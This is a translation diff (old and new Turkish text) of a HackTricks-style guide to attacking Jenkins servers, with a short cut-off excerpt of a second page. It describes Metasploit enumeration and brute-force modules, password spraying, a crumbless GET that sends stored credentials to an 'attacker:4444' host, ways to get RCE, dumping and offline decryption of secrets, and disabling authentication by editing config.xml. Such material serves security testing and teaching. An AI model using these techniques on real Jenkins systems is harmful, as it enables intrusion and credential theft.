Translated ['', 'src/pentesting-ci-cd/jenkins-security/basic-jenkins-inf

src/pentesting-ci-cd/jenkins-security/README.md

@@ -1,32 +1,32 @@
-# Jenkins Güvenliği
+# Jenkins Güvenlik
 
 {{#include ../../banners/hacktricks-training.md}}
 
 ## Temel Bilgiler
 
-Jenkins, **programlama dilleri** ve kaynak kodu depolarının neredeyse **herhangi** bir kombinasyonu için **sürekli entegrasyon** veya **sürekli teslimat** (CI/CD) ortamı oluşturmanın basit bir yolunu sunan bir araçtır. Ayrıca, çeşitli rutin geliştirme görevlerini otomatikleştirir. Jenkins, **bireysel adımlar için betikler oluşturma ihtiyacını** ortadan kaldırmasa da, tüm derleme, test ve dağıtım araçları dizisini entegre etmenin daha hızlı ve daha sağlam bir yolunu sağlar.
+Jenkins, pipeline'lar kullanarak neredeyse **herhangi** bir **programlama dili** ve kaynak kodu deposu kombinasyonu için **continuous integration** veya **continuous delivery** (CI/CD) ortamı kurmak için basit bir yöntem sunan bir araçtır. Ayrıca çeşitli rutin geliştirme görevlerini otomatikleştirir. Jenkins, bireysel adımlar için script oluşturma **ihtiyacını** ortadan kaldırmasa da, tüm build, test ve deployment araçları dizisini manuel olarak kolayca oluşturulabilecek olandan daha hızlı ve daha sağlam bir şekilde entegre etme olanağı sağlar.
 
 {{#ref}}
 basic-jenkins-information.md
 {{#endref}}
 
-## Kimlik Doğrulaması Olmadan Sayfa Listeleme
+## Kimliksiz Keşif
 
-Kimlik doğrulaması olmadan ilginç Jenkins sayfalarını aramak için (_/people_ veya _/asynchPeople_, bu mevcut kullanıcıları listeler) şunları kullanabilirsiniz:
+Kimlik doğrulaması olmadan ilginç Jenkins sayfalarını aramak için, örneğin (_/people_ veya _/asynchPeople_, bu mevcut kullanıcıları listeler) şunu kullanabilirsiniz:
 ```
 msf> use auxiliary/scanner/http/jenkins_enum
 ```
-Kimlik doğrulaması gerektirmeden komutları çalıştırıp çalıştıramayacağınızı kontrol edin:
+Kimlik doğrulama gerektirmeden komut çalıştırıp çalıştıramadığınızı kontrol edin:
 ```
 msf> use auxiliary/scanner/http/jenkins_command
 ```
-Kimlik bilgileri olmadan _**/asynchPeople/**_ yoluna veya _**/securityRealm/user/admin/search/index?q=**_ yoluna bakarak **kullanıcı adlarını** görebilirsiniz.
+Kimlik bilgileri olmadan _**/asynchPeople/**_ yolu veya _**/securityRealm/user/admin/search/index?q=**_ içinde **usernames**'i görebilirsiniz.
 
-Jenkins sürümünü _**/oops**_ veya _**/error**_ yolundan alabilirsiniz.
+Jenkins sürümünü _**/oops**_ veya _**/error**_ yolundan öğrenebilirsiniz.
 
 ![](<../../images/image (146).png>)
 
-### Bilinen Güvenlik Açıkları
+### Bilinen Zayıflıklar
 
 {{#ref}}
 https://github.com/gquere/pwn_jenkins
@@ -34,7 +34,7 @@ https://github.com/gquere/pwn_jenkins
 
 ## Giriş
 
-Temel bilgilerde **Jenkins'e giriş yapmanın tüm yollarını** kontrol edebilirsiniz:
+Temel bilgilerde Jenkins'e **giriş yapmanın tüm yollarını** kontrol edebilirsiniz:
 
 {{#ref}}
 basic-jenkins-information.md
@@ -42,124 +42,139 @@ basic-jenkins-information.md
 
 ### Kayıt
 
-Jenkins örneklerini bulabileceksiniz ki **bir hesap oluşturmanıza ve içine giriş yapmanıza izin verir. Bu kadar basit.**
+Jenkins örnekleri bulabilirsiniz; bunlar **hesap oluşturmanıza ve içine giriş yapmanıza izin verir. Bu kadar basit.**
 
-### **SSO Girişi**
+### **SSO Login**
 
-Ayrıca eğer **SSO** **işlevselliği**/**eklentileri** mevcutsa, o zaman bir test hesabı (yani, bir test **Github/Bitbucket hesabı**) kullanarak uygulamaya **giriş yapmayı** denemelisiniz. [**buradan**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/) bir hile.
+Ayrıca eğer **SSO** **functionality**/**plugins** mevcutsa, test bir hesap (örn. test **Github/Bitbucket account**) kullanarak uygulamaya **log-in** olmaya çalışmalısınız. Trick from [**here**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/).
 
 ### Bruteforce
 
-**Jenkins**, **şifre politikası** ve **kullanıcı adı brute-force önleme** eksikliği vardır. **Zayıf şifreler** veya **şifre olarak kullanıcı adları** kullanılıyor olabileceğinden, kullanıcıları **brute-force** yapmak önemlidir, hatta **tersine çevrilmiş kullanıcı adları şifre olarak** da kullanılabilir.
+**Jenkins** lacks **password policy** and **username brute-force mitigation**. It's essential to **brute-force** users since **weak passwords** or **usernames as passwords** may be in use, even **reversed usernames as passwords**.
 ```
 msf> use auxiliary/scanner/http/jenkins_login
 ```
-### Parola Spraying
+### Password spraying
 
-Use [this python script](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) or [this powershell script](https://github.com/chryzsh/JenkinsPasswordSpray).
+Kullanmak için [this python script](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) veya [this powershell script](https://github.com/chryzsh/JenkinsPasswordSpray).
 
-### IP Beyaz Liste Bypass
+### IP Whitelisting Bypass
 
-Birçok organizasyon, **SaaS tabanlı kaynak kontrol yönetim (SCM) sistemleri** olan GitHub veya GitLab'ı, Jenkins veya TeamCity gibi **iç, kendi barındırdığı CI** çözümleri ile birleştirir. Bu yapı, CI sistemlerinin **SaaS kaynak kontrol sağlayıcılarından webhook olayları almasına** olanak tanır, esasen pipeline işlerini tetiklemek için.
+Birçok kuruluş, GitHub veya GitLab gibi SaaS tabanlı source control management (SCM) sistemlerini Jenkins veya TeamCity gibi internal, self-hosted CI çözümleriyle birleştirir. Bu yapı, CI sistemlerinin pipeline işleri tetiklemek için öncelikle SaaS kaynak kontrol sağlayıcılarından webhook event'leri almasına izin verir.
 
-Bunu başarmak için, organizasyonlar **SCM platformlarının IP aralıklarını beyaz listeye alır**, böylece **webhooklar** aracılığıyla **iç CI sistemine** erişim izni verir. Ancak, **herkesin** GitHub veya GitLab'da bir **hesap** oluşturabileceğini ve bunu **webhook tetiklemek** için yapılandırabileceğini belirtmek önemlidir; bu da potansiyel olarak **iç CI sistemine** istek gönderebilir.
+Bunu sağlamak için kuruluşlar SCM platformlarının IP aralıklarını whitelist'ler ve bu sayede webhooklar aracılığıyla internal CI sistemine erişim verirler. Ancak, GitHub veya GitLab'da herkes bir account oluşturup webhook tetikleyecek şekilde yapılandırma yapabileceği için, potansiyel olarak internal CI sistemine istek gönderebilir.
 
 Check: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/)
 
-## İç Jenkins Suistimalleri
+## Internal Jenkins Abuses
 
-Bu senaryolarda Jenkins'e erişmek için geçerli bir hesabınız olduğunu varsayacağız.
+Bu senaryolarda Jenkins'e erişmek için geçerli bir account'a sahip olduğunuzu varsayacağız.
 
 > [!WARNING]
-> Jenkins'te yapılandırılan **Yetkilendirme** mekanizmasına ve ele geçirilen kullanıcının izinlerine bağlı olarak, aşağıdaki saldırıları **gerçekleştirip gerçekleştiremeyeceğinizi** **belirleyebilirsiniz.**
+> Jenkins'te yapılandırılmış olan **Yetkilendirme** mekanizmasına ve ele geçirilen kullanıcının izinlerine bağlı olarak aşağıdaki saldırıları gerçekleştirebilir veya gerçekleştiremeyebilirsiniz.
 
-Daha fazla bilgi için temel bilgilere bakın:
+For more information check the basic information:
 
 {{#ref}}
 basic-jenkins-information.md
 {{#endref}}
 
-### Kullanıcıları Listeleme
+### Kullanıcıları listeleme
 
-Eğer Jenkins'e eriştiyseniz, [http://127.0.0.1:8080/asynchPeople/](http://127.0.0.1:8080/asynchPeople/) adresinde diğer kayıtlı kullanıcıları listeleyebilirsiniz.
+Jenkins'e erişiminiz varsa diğer kayıtlı kullanıcıları şu adreste listeleyebilirsiniz: [http://127.0.0.1:8080/asynchPeople/](http://127.0.0.1:8080/asynchPeople/)
 
-### Düz Metin Gizli Bilgileri Bulmak için Yapıları Dökme
+### Dumping builds to find cleartext secrets
 
-Düz metin gizli bilgileri bulmak umuduyla yapı konsol çıktıları ve yapı ortam değişkenlerini dökmek için [this script](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) kullanın.
+Kullanmak için [this script](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) build konsol çıktılarını ve build ortam değişkenlerini dökerek açık metin sırları bulmayı umabilirsiniz.
 ```bash
 python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
 cd build_dumps
 gitleaks detect --no-git -v
 ```
-### **SSH Kimlik Bilgilerini Çalma**
+### FormValidation/TestConnection endpoints (CSRF to SSRF/credential theft)
 
-Eğer ele geçirilen kullanıcı **yeni bir Jenkins düğümü oluşturma/değiştirme için yeterli yetkilere sahipse** ve diğer düğümlere erişim için SSH kimlik bilgileri zaten saklanıyorsa, bu kimlik bilgilerini **çalarak** yeni bir düğüm oluşturup/değiştirerek ve **kimlik bilgilerini kaydedecek bir ana bilgisayar ayarlayarak** elde edebilir:
+Bazı eklentiler Jelly `validateButton` veya `test connection` handler`larını `/descriptorByName/<Class>/testConnection` gibi yollar altında açığa çıkarır. Handler'lar **POST veya izin kontrollerini zorlamadığında**, şunları yapabilirsiniz:
+
+- CSRF kontrollerini atlamak için POST'u GET'e çevirin ve Crumb'ı düşürün.
+- `Jenkins.ADMINISTER` kontrolü yoksa handler'ı low-priv/anonymous olarak tetikleyin.
+- Bir admine CSRF uygulayıp host/URL parametresini değiştirerek credentials'ı exfiltrate edebilir veya outbound çağrılar tetikleyebilirsiniz.
+- Yanıt hatalarını (ör. `ConnectException`) SSRF/port-scan oracle olarak kullanın.
+
+Örnek GET (Crumb yok) — bir doğrulama çağrısını SSRF/credential exfiltration'a dönüştürme:
+```http
+GET /descriptorByName/jenkins.plugins.openstack.compute.JCloudsCloud/testConnection?endPointUrl=http://attacker:4444/&credentialId=openstack HTTP/1.1
+Host: jenkins.local:8080
+```
+If the plugin reuses stored creds, Jenkins will attempt to authenticate to `attacker:4444` and may leak identifiers or errors in the response. See: https://www.nccgroup.com/research-blog/story-of-a-hundred-vulnerable-jenkins-plugins/
+
+### **SSH Credentials Çalma**
+
+Eğer ele geçirilmiş kullanıcı **create/modify a new Jenkins node** için yeterli ayrıcalıklara sahipse ve SSH credentials zaten diğer node'lara erişim için kayıtlıysa, node oluşturarak/değiştirerek ve host key'i doğrulamadan **credentials'ları kaydedecek bir host** ayarlayarak bu credentials'ları çalabilir:
 
 ![](<../../images/image (218).png>)
 
-Genellikle Jenkins ssh kimlik bilgilerini **global provider** (`/credentials/`) içinde bulabilirsiniz, bu nedenle diğer gizli bilgileri döktüğünüz gibi bunları da dökebilirsiniz. Daha fazla bilgi için [**Gizli Bilgileri Dökme Bölümü**](./#dumping-secrets) bakın.
+Genellikle Jenkins ssh credentials'larını bir **global provider** (`/credentials/`) altında bulursunuz, bu yüzden onları diğer secret'lar gibi dump edebilirsiniz. Daha fazla bilgi için [**Dumping secrets section**](#dumping-secrets).
 
 ### **Jenkins'te RCE**
 
-Jenkins sunucusunda **shell almak**, saldırgana tüm **gizli bilgileri** ve **env değişkenlerini** sızdırma ve aynı ağda bulunan diğer makineleri **istismar etme** veya hatta **bulut kimlik bilgilerini toplama** fırsatı verir.
+Jenkins server'da bir **shell** elde etmek, saldırganın tüm **secrets** ve **env variables**'ları leak etmesine; aynı ağdaki diğer makineleri **exploit** etmesine veya hatta **cloud credentials** toplamasına imkan verir.
 
-Varsayılan olarak, Jenkins **SYSTEM olarak çalışır**. Bu nedenle, onu ele geçirmek saldırgana **SYSTEM yetkileri** verecektir.
+Varsayılan olarak, Jenkins **run as SYSTEM**. Bu yüzden, ele geçirilmesi saldırgana **SYSTEM privileges** verecektir.
 
-### **Proje Oluşturma/Düzenleme ile RCE**
+### **RCE: Project Oluşturma/Değiştirme**
 
-Proje oluşturma/düzenleme, Jenkins sunucusunda RCE elde etmenin bir yoludur:
+Bir project oluşturmak/değiştirmek, Jenkins server üzerinde RCE elde etmenin bir yoludur:
 
 {{#ref}}
 jenkins-rce-creating-modifying-project.md
 {{#endref}}
 
-### **Groovy Script Çalıştırarak RCE**
+### **RCE Groovy script Çalıştırma**
 
-Ayrıca, yeni bir proje oluşturmaktan daha gizli olabilecek bir Groovy script çalıştırarak RCE elde edebilirsiniz:
+Ayrıca Groovy script çalıştırarak da RCE elde edebilirsiniz; bu, yeni bir project oluşturmaktan daha gizli (stealthier) olabilir:
 
 {{#ref}}
 jenkins-rce-with-groovy-script.md
 {{#endref}}
 
-### Pipeline Oluşturma/Düzenleme ile RCE
+### RCE: Pipeline Oluşturma/Değiştirme
 
-Ayrıca **pipeline oluşturarak/düzenleyerek RCE elde edebilirsiniz**:
+Ayrıca **bir pipeline oluşturup/değiştirerek RCE** elde edebilirsiniz:
 
 {{#ref}}
 jenkins-rce-creating-modifying-pipeline.md
 {{#endref}}
 
-## Pipeline İstismarı
+## Pipeline Exploitation
 
-Pipeline'ları istismar etmek için hala Jenkins'e erişiminiz olması gerekir.
+Pipeline'leri exploit etmek için yine Jenkins'e erişiminiz olması gerekir.
 
-### Build Pipeline'lar
+### Build Pipelines
 
-**Pipeline'lar**, projelerde **build mekanizması** olarak da kullanılabilir, bu durumda pipeline sözdizimini içeren **bir dosya** depo içinde yapılandırılabilir. Varsayılan olarak `/Jenkinsfile` kullanılır:
+**Pipelines** ayrıca **projects içinde build mekanizması** olarak kullanılabilir; bu durumda pipeline syntax'ını içerecek bir **file inside the repository** yapılandırılabilir. Varsayılan olarak `/Jenkinsfile` kullanılır:
 
 ![](<../../images/image (127).png>)
 
-Ayrıca, **pipeline yapılandırma dosyalarını başka yerlerde** (örneğin başka depolarda) saklamak da mümkündür; bu, depo **erişimini** ve pipeline erişimini **ayırma** amacı taşır.
+Pipeline configuration dosyalarını (örneğin diğer repository'lerde) **başka yerlerde store etmek** de mümkündür; amaç repository access ile pipeline access'i ayırmaktır.
 
-Eğer bir saldırgan **o dosya üzerinde yazma erişimine sahipse**, onu **değiştirebilir** ve **pipeline'ı tetikleyebilir**; hatta Jenkins'e erişimi olmadan bile.\
-Saldırganın **bazı dal korumalarını atlatması** gerekebilir (platforma ve kullanıcı yetkilerine bağlı olarak atlatılabilir veya atlatılamayabilir).
+Eğer bir attacker'ın o file üzerinde **write access**'ı varsa, onu **modify** edebilir ve hatta Jenkins'e erişimi olmadan pipeline'ı **potentially trigger** edebilir. Saldırganın bazı branch protections'ı **bypass etmesi** gerekebilir (platforma ve kullanıcı ayrıcalıklarına bağlı olarak bunlar bypass edilebilir veya edilemeyebilir).
 
-Özel bir pipeline'ı çalıştırmak için en yaygın tetikleyiciler şunlardır:
+En yaygın custom pipeline tetikleyicileri:
 
-- **Ana dal için Pull request** (veya potansiyel olarak diğer dallar için)
-- **Ana dala Push** (veya potansiyel olarak diğer dallar için)
-- **Ana dalı güncelleyin** ve bir şekilde çalıştırılmasını bekleyin
+- **Pull request** to the main branch (or potentially to other branches)
+- **Push to the main branch** (or potentially to other branches)
+- **Update the main branch** and wait until it's executed somehow
 
 > [!NOTE]
-> Eğer bir **dış kullanıcıysanız**, **başka bir kullanıcı/organizasyonun** repo ana dalına **PR oluşturmayı** ve **pipeline'ı tetiklemeyi** beklememelisiniz... ama eğer **kötü yapılandırılmışsa**, bunu istismar ederek şirketleri tamamen **tehdit edebilirsiniz**.
+> Eğer bir **external user** iseniz, başka bir **user/organization**'ın repo'sunun **main branch**'ine bir **PR** oluşturup **pipeline'ı trigger etmenizi** beklememelisiniz... ama eğer **bad configured** ise, bunu exploit ederek şirketleri tamamen **compromise** edebilirsiniz.
 
 ### Pipeline RCE
 
-Önceki RCE bölümünde, [**pipeline'ı değiştirerek RCE elde etme**](./#rce-creating-modifying-pipeline) tekniği zaten belirtilmişti.
+Önceki RCE bölümünde [**get RCE modifying a pipeline**](#rce-creating-modifying-pipeline) tekniği zaten belirtilmişti.
 
-### Env Değişkenlerini Kontrol Etme
+### Env variables'ları Kontrol Etme
 
-Tüm pipeline için veya belirli aşamalar için **düz metin env değişkenleri** tanımlamak mümkündür. Bu env değişkenleri **hassas bilgi içermemelidir**, ancak bir saldırgan her zaman **tüm pipeline** yapılandırmalarını/Jenkinsfile'ları kontrol edebilir:
+Tüm pipeline için veya belirli stage'ler için **clear text env variables** tanımlamak mümkündür. Bu env variables **sensitive info içermemeli**, ancak bir attacker her zaman pipeline konfigürasyonlarını/Jenkinsfile'ları **check** edebilir:
 ```bash
 pipeline {
 agent {label 'built-in'}
@@ -174,21 +189,21 @@ STAGE_ENV_VAR = "Test stage ENV variables."
 }
 steps {
 ```
-### Gizli bilgileri dökme
+### Dumping secrets
 
-Jenkins'in gizli bilgileri genellikle nasıl ele aldığı hakkında bilgi için temel bilgilere göz atın:
+Jenkins'in secret'lerin genellikle nasıl ele alındığıyla ilgili bilgi için temel bilgileri inceleyin:
 
 {{#ref}}
 basic-jenkins-information.md
 {{#endref}}
 
-Kimlik bilgileri **küresel sağlayıcılara** (`/credentials/`) veya **belirli projelere** (`/job/<project-name>/configure`) **ait olabilir**. Bu nedenle, hepsini dışarı aktarmak için **gizli bilgileri içeren tüm projeleri en azından ele geçirmeniz** ve özel/zehirli boru hatlarını çalıştırmanız gerekir.
+Kimlik bilgileri **global sağlayıcılara** (`/credentials/`) veya **belirli projelere** (`/job/<project-name>/configure`) **kapsamlandırılabilir**. Bu yüzden bunların tamamını exfiltrate etmek için secret içeren en azından tüm projeleri **ele geçirmeniz** ve özel/zehirlenmiş pipeline'lar çalıştırmanız gerekir.
 
-Başka bir sorun var, bir boru hattının **env**'sinde bir **gizli bilgiye** ulaşmak için **gizli bilginin adını ve türünü bilmeniz** gerekir. Örneğin, bir **`usernamePassword`** **gizli bilgisini** **`string`** **gizli bilgisi olarak** **yüklemeye** çalışırsanız bu **hata** ile karşılaşırsınız:
+Başka bir sorun daha var: bir pipeline'ın **env**'ine bir **secret** almak için secret'ın **adı ve tipi** bilinmelidir. Örneğin, bir **`usernamePassword`** tipindeki bir **secret**'ı **`string`** tipinde bir **secret** olarak yüklemeye (load) çalışırsanız şu **hata**yı alırsınız:
 ```
 ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected
 ```
-Burada bazı yaygın gizli türlerini yüklemenin yolu var:
+İşte bazı yaygın secret türlerini yüklemenin yolu:
 ```bash
 withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) {
 sh '''
@@ -216,46 +231,46 @@ env
 '''
 }
 ```
-Bu sayfanın sonunda **tüm kimlik bilgisi türlerini** bulabilirsiniz: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/)
+Sayfanın sonunda **tüm kimlik bilgisi türlerini bulabilirsiniz**: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/)
 
 > [!WARNING]
-> **Tüm sırları bir anda dökmek** için en iyi yol, **Jenkins** makinesini **tehdit etmek** (örneğin, **yerleşik düğüm** üzerinde ters bir shell çalıştırmak) ve ardından **master anahtarlarını** ve **şifrelenmiş sırları** **sızdırmak** ve bunları çevrimdışı olarak çözmektir.\
-> Bunu nasıl yapacağınız hakkında daha fazla bilgi için [Düğümler ve Ajanlar bölümü](./#nodes-and-agents) ve [Sonrası Sömürü bölümü](./#post-exploitation) bölümüne bakın.
+> En iyi yol, **dump all the secrets at once** işlemini gerçekleştirmek için **compromising** yoluyla **Jenkins** makinesini (örneğin **built-in node** üzerinde bir reverse shell çalıştırmak) ele geçirmek ve sonra **leaking** ile **master keys** ve **encrypted secrets**'i elde edip bunları çevrimdışı decrypt etmektir.\
+> Daha fazlası için [Nodes & Agents section](#nodes-and-agents) ve [Post Exploitation section](#post-exploitation) bölümlerine bakın.
 
 ### Tetikleyiciler
 
-[belgelerden](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers): `triggers` direktifi, Pipeline'ın **otomatik olarak yeniden tetiklenmesi gereken yolları** tanımlar. GitHub veya BitBucket gibi bir kaynakla entegre edilmiş Pipeline'lar için, `triggers` gerekli olmayabilir çünkü webhooks tabanlı entegrasyon zaten mevcut olabilir. Mevcut tetikleyiciler `cron`, `pollSCM` ve `upstream`'dir.
+From [the docs](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers): `triggers` direktifi, Pipeline'ın yeniden tetiklenmesi gereken **otomatik yolları** tanımlar. GitHub veya BitBucket gibi bir kaynakla entegre edilmiş Pipeline'lar için, `triggers` muhtemelen gerekli değildir çünkü webhooks tabanlı entegrasyon muhtemelen zaten mevcuttur. Mevcut tetikleyiciler `cron`, `pollSCM` ve `upstream`'dir.
 
 Cron örneği:
 ```bash
 triggers { cron('H */4 * * 1-5') }
 ```
-Diğer örnekleri **belgelerde kontrol edin**.
+Belgelerdeki **diğer örneklere** bakın.
 
-### Düğümler ve Ajanlar
+### Düğümler & Ajanlar
 
-Bir **Jenkins örneği**, **farklı makinelerde çalışan farklı ajanlara** sahip olabilir. Bir saldırgan perspektifinden, farklı makinelere erişim, **çalıntı potansiyel bulut kimlik bilgileri** veya diğer makineleri istismar etmek için kullanılabilecek **farklı ağ erişimleri** anlamına gelir.
+Bir **Jenkins instance** farklı makinelerde **farklı agents** çalıştırıyor olabilir. Bir saldırgan açısından, farklı makinelere erişim **çalınabilecek farklı cloud credentials** veya diğer makineleri exploit etmek için kötüye kullanılabilecek **farklı network access** anlamına gelir.
 
-Daha fazla bilgi için temel bilgileri kontrol edin:
+Daha fazla bilgi için temel bilgilere bakın:
 
 {{#ref}}
 basic-jenkins-information.md
 {{#endref}}
 
-`/computer/` içinde **yapılandırılmış düğümleri** listeleyebilirsiniz, genellikle **`Built-In Node`** (Jenkins'i çalıştıran düğüm) ve potansiyel olarak daha fazlasını bulacaksınız:
+Yapılandırılmış **düğümleri** `/computer/` içinde listeleyebilirsiniz, genellikle \*\*`Built-In Node` \*\* (Jenkins'i çalıştıran node) ve muhtemelen daha fazlasını bulursunuz:
 
 ![](<../../images/image (249).png>)
 
-**Built-In düğümü ele geçirmek** özellikle ilginçtir çünkü hassas Jenkins bilgilerini içerir.
+Duyarlı Jenkins bilgileri içerdiği için **Built-In node'u ele geçirmek özellikle ilginçtir**.
 
-**Built-in Jenkins düğümünde** **pipeline'ı** **çalıştırmak** istediğinizi belirtmek için pipeline içinde aşağıdaki yapılandırmayı belirtebilirsiniz:
+Pipeline'i **built-in Jenkins node** üzerinde **run** etmek istediğinizi belirtmek için pipeline içinde aşağıdaki konfigürasyonu kullanabilirsiniz:
 ```bash
 pipeline {
 agent {label 'built-in'}
 ```
 ### Tam örnek
 
-Belirli bir ajan içindeki pipeline, bir cron tetikleyicisi ile, pipeline ve aşama ortam değişkenleri ile, bir adımda 2 değişken yükleyerek ve bir ters shell göndererek:
+Belirli bir agent üzerinde çalışan Pipeline, cron trigger ile, pipeline ve stage env variables ile, bir step'te 2 variables yükleyip reverse shell gönderen:
 ```bash
 pipeline {
 agent {label 'built-in'}
@@ -286,7 +301,7 @@ cleanWs()
 }
 }
 ```
-## Keyfi Okuma ile RCE
+## Arbitrary File Read to RCE
 
 {{#ref}}
 jenkins-arbitrary-file-read-to-rce-via-remember-me.md
@@ -306,17 +321,17 @@ jenkins-rce-creating-modifying-project.md
 jenkins-rce-creating-modifying-pipeline.md
 {{#endref}}
 
-## Saldırı Sonrası
+## Post Exploitation
 
 ### Metasploit
 ```
 msf> post/multi/gather/jenkins_gather
 ```
-### Jenkins Gizli Anahtarları
+### Jenkins Secrets
 
-Yeterli izinleriniz varsa `/credentials/` adresine erişerek gizli anahtarları listeleyebilirsiniz. Bunun yalnızca `credentials.xml` dosyasındaki gizli anahtarları listeleyeceğini unutmayın, ancak **build yapılandırma dosyaları** da **daha fazla gizli anahtar** içerebilir.
+Yeterli izne sahipseniz `/credentials/`'e erişerek secrets'leri listeleyebilirsiniz. Bunun sadece `credentials.xml` dosyasının içindeki secrets'leri listeleyeceğini unutmayın; ancak **build configuration files** içinde de **more credentials** bulunabilir.
 
-Eğer **her projenin yapılandırmasını görebiliyorsanız**, orada depoya erişmek için kullanılan **gizli anahtarların (secrets) isimlerini** ve **projenin diğer gizli anahtarlarını** da görebilirsiniz.
+Eğer her projenin **yapılandırmasını görebiliyorsanız**, orada repository'ye erişimde kullanılan **credentials (secrets) isimlerini** ve projenin **diğer credentials**ini de görebilirsiniz.
 
 ![](<../../images/image (180).png>)
 
@@ -328,18 +343,18 @@ jenkins-dumping-secrets-from-groovy.md
 
 #### Diskten
 
-Bu dosyalar **Jenkins gizli anahtarlarını** çözmek için gereklidir:
+Bu dosyalar **Jenkins secrets**'in şifresini çözmek için gereklidir:
 
 - secrets/master.key
 - secrets/hudson.util.Secret
 
-Böyle **gizli anahtarlar genellikle** şuralarda bulunabilir:
+Böyle **secrets genellikle şu dosyalarda bulunur**:
 
 - credentials.xml
 - jobs/.../build.xml
 - jobs/.../config.xml
 
-Onları bulmak için bir regex:
+İşte bunları bulmak için bir regex:
 ```bash
 # Find the secrets
 grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
@@ -349,9 +364,9 @@ grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
 # Secret example
 credentials.xml: <secret>{AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==}</secret>
 ```
-#### Jenkins sırlarını çevrimdışı çözme
+#### Decrypt Jenkins secrets offline
 
-Eğer **sırları çözmek için gerekli şifreleri** dökümlediyseniz, **bu scripti** kullanarak **o sırları çözebilirsiniz**.
+Eğer **needed passwords to decrypt the secrets**'i dump ettiyseniz, [**this script**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **to decrypt those secrets**'ı kullanın.
 ```bash
 python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
 06165DF2-C047-4402-8CAB-1C8EC526C115
@@ -359,18 +374,18 @@ python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
 b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
 NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT
 ```
-#### Groovy'den Jenkins sırlarını çözme
+#### Groovy ile Jenkins secrets'i deşifre etme
 ```bash
 println(hudson.util.Secret.decrypt("{...}"))
 ```
-### Yeni admin kullanıcısı oluştur
+### Yeni admin kullanıcı oluştur
 
-1. `/var/lib/jenkins/config.xml` veya `C:\Program Files (x86)\Jenkis\` içindeki Jenkins config.xml dosyasına erişin.
-2. `<useSecurity>true</useSecurity>` kelimesini arayın ve **`true`** kelimesini **`false`** olarak değiştirin.
+1. Jenkins config.xml dosyasına şu konumlarda erişin: `/var/lib/jenkins/config.xml` veya `C:\Program Files (x86)\Jenkis\`
+2. `<useSecurity>true</useSecurity>` ifadesini bulun ve \*\*`true` \*\* değerini **`false`** ile değiştirin.
 1. `sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml`
-3. **Jenkins** sunucusunu **yeniden başlatın**: `service jenkins restart`
-4. Şimdi Jenkins portalına tekrar gidin ve bu sefer **Jenkins herhangi bir kimlik bilgisi istemeyecek**. **Yönetim Jenkins** bölümüne giderek **yönetici şifresini tekrar ayarlayın**.
-5. Ayarları `<useSecurity>true</useSecurity>` olarak değiştirerek **güvenliği tekrar etkinleştirin** ve **Jenkins'i tekrar başlatın**.
+3. **Restart** the **Jenkins** server: `service jenkins restart`
+4. Şimdi Jenkins portalına tekrar gidin; bu sefer **Jenkins will not ask any credentials**. "**Manage Jenkins**"e giderek **admin parolasını tekrar** ayarlayın.
+5. **Güvenliği** tekrar **etkinleştirin** (`<useSecurity>true</useSecurity>`) ve **Jenkins**'i yeniden başlatın.
 
 ## Referanslar
 

src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md

@@ -4,83 +4,94 @@
 
 ## Erişim
 
-### Kullanıcı Adı + Şifre
+### Kullanıcı Adı + Parola
 
-Jenkins'e giriş yapmanın en yaygın yolu bir kullanıcı adı veya şifre iledir.
+Jenkins'e giriş yapmanın en yaygın yolu kullanıcı adı veya parola kullanmaktır.
 
 ### Çerez
 
-Eğer bir **yetkili çerez çalınırsa**, bu çerez kullanıcının oturumuna erişmek için kullanılabilir. Çerez genellikle `JSESSIONID.*` olarak adlandırılır. (Bir kullanıcı tüm oturumlarını sonlandırabilir, ancak önce bir çerezin çalındığını öğrenmesi gerekir).
+Eğer **yetkili bir çerez çalınırsa**, kullanıcı oturumuna erişmek için kullanılabilir. Çerez genellikle `JSESSIONID.*` olarak adlandırılır. (Bir kullanıcı tüm oturumlarını sonlandırabilir, ancak bunun için önce bir çerezin çalındığını öğrenmesi gerekir.)
 
-### SSO/Eklentiler
+### SSO/Plugins
 
-Jenkins, üçüncü taraf SSO aracılığıyla **erişilebilir olacak şekilde eklentiler kullanılarak yapılandırılabilir**.
+Jenkins, eklentiler kullanılarak **üçüncü taraf SSO üzerinden erişilebilir** şekilde yapılandırılabilir.
 
 ### Tokenlar
 
-**Kullanıcılar tokenlar oluşturabilir** ve uygulamalara CLI veya REST API aracılığıyla kendilerini taklit etme izni verebilir.
